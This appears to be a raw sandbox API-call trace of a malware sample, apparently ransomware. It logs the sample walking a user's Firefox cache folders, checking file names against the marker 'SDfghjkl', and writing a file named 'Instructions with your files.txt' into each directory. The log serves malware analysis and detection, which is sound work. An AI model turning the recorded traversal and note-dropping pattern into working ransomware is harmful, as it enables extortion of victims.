[0130.719] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d58af0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.720] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\.") returned 102
[0130.720] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7d58af0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.720] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\..") returned 103
[0130.720] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7dcaf10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x133d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="24B53d01", cAlternateFileName="")) returned 1
[0130.720] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\24B53d01") returned 109
[0130.721] StrStrIW (lpFirst="24B53d01", lpSrch="SDfghjkl") returned 0x0
[0130.721] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7d58af0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7d58af0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7dcaf10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x133d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="24B53d01", cAlternateFileName="")) returned 0
[0130.721] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\Instructions with your files.txt") returned 133
[0130.721] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\2C\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\2c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.721] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.722] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.722] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.722] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.722] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.722] CloseHandle (hObject=0x12c) returned 1
[0130.722] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.722] GetProcessHeap () returned 0x810000
[0130.722] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.722] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="61", cAlternateFileName="")) returned 1
[0130.723] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61") returned 100
[0130.723] GetProcessHeap () returned 0x810000
[0130.723] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.723] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\*") returned 102
[0130.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.723] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\.") returned 102
[0130.723] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.723] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\..") returned 103
[0130.723] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7fba0f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa949, dwReserved0=0x0, dwReserved1=0x0, cFileName="28E95d01", cAlternateFileName="")) returned 1
[0130.723] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\28E95d01") returned 109
[0130.723] StrStrIW (lpFirst="28E95d01", lpSrch="SDfghjkl") returned 0x0
[0130.723] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7fba0f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa949, dwReserved0=0x0, dwReserved1=0x0, cFileName="28E95d01", cAlternateFileName="")) returned 0
[0130.723] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\Instructions with your files.txt") returned 133
[0130.723] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\61\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\61\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.725] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.726] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.726] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.726] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.726] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.726] CloseHandle (hObject=0x12c) returned 1
[0130.726] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.727] GetProcessHeap () returned 0x810000
[0130.727] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.727] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E0", cAlternateFileName="")) returned 1
[0130.727] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0") returned 100
[0130.727] GetProcessHeap () returned 0x810000
[0130.727] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.727] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\*") returned 102
[0130.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.728] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\.") returned 102
[0130.728] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.728] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\..") returned 103
[0130.728] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x404f, dwReserved0=0x0, dwReserved1=0x0, cFileName="F17B2d01", cAlternateFileName="")) returned 1
[0130.728] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\F17B2d01") returned 109
[0130.728] StrStrIW (lpFirst="F17B2d01", lpSrch="SDfghjkl") returned 0x0
[0130.728] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x404f, dwReserved0=0x0, dwReserved1=0x0, cFileName="F17B2d01", cAlternateFileName="")) returned 0
[0130.728] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\Instructions with your files.txt") returned 133
[0130.728] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\E0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\e0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.728] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.729] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.729] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.729] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.729] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.729] CloseHandle (hObject=0x12c) returned 1
[0130.730] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.730] GetProcessHeap () returned 0x810000
[0130.730] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.730] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e8d330, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E0", cAlternateFileName="")) returned 0
[0130.730] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\Instructions with your files.txt") returned 130
[0130.730] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.730] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.731] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.731] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.731] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.731] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.731] CloseHandle (hObject=0x128) returned 1
[0130.731] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.731] GetProcessHeap () returned 0x810000
[0130.731] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.732] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A", cAlternateFileName="")) returned 1
[0130.733] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A") returned 97
[0130.733] GetProcessHeap () returned 0x810000
[0130.733] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.733] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\*") returned 99
[0130.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.733] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\.") returned 99
[0130.733] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.733] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\..") returned 100
[0130.734] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.734] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\A\\Instructions with your files.txt") returned 130
